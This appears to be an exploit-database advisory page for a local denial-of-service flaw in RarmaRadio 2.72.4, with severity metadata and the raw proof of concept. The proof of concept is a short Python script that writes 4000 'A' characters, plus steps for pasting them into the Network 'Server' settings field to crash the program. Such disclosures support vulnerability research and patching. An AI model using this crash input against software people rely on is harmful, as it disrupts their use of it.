RarmaRadio 2.72.4 - 'server' Denial of Service (PoC)

vendor:

RarmaRadio

by:

chuyreds

7.8

CVSS

HIGH

Denial of Service (DoS) Local

400

CWE

Product Name: RarmaRadio

Affected Version From: 2.72.4

Affected Version To: 2.72.4

Patch Exists: NO

Related CWE: N/A

CPE: a:raimersoft:rarmaradio

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2020

RarmaRadio 2.72.4 – ‘server’ Denial of Service (PoC)

RarmaRadio 2.72.4 is vulnerable to a denial of service attack when a maliciously crafted server name is provided. By providing a server name of 4000 'A' characters, the application will crash when the user attempts to save the settings.

Mitigation:

Users should avoid providing untrusted input to the application and should ensure that all input is properly validated.

Source

Exploit-DB raw data:

# Exploit Title: RarmaRadio 2.72.4 - 'server' Denial of Service (PoC)
# Discovery by: chuyreds 
# Discovery Date: 05-02-2020
# Vendor Homepage: http://www.raimersoft.com/rarmaradio.html
# Software Link : http://www.raimersoft.com/downloads/rarmaradio_setup.exe
# Tested Version: 2.72.4
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to produce the crash:
#1.- Run python code: RarmaRadio2.72.4_server.py
#2.- Open RarmaRadio2.72.4_server.txt and copy content to clipboard
#3.- Open RarmaRadio
#4.- Select "Edit" > "Settings" > "Network"
#5.- In "Server" field paste Clipboard
#6.- Select "OK"
#7.- Crashed

buffer = "\x41" * 4000
f = open ("RarmaRadio2.72.4_server.txt", "w")
f.write(buffer)
f.close()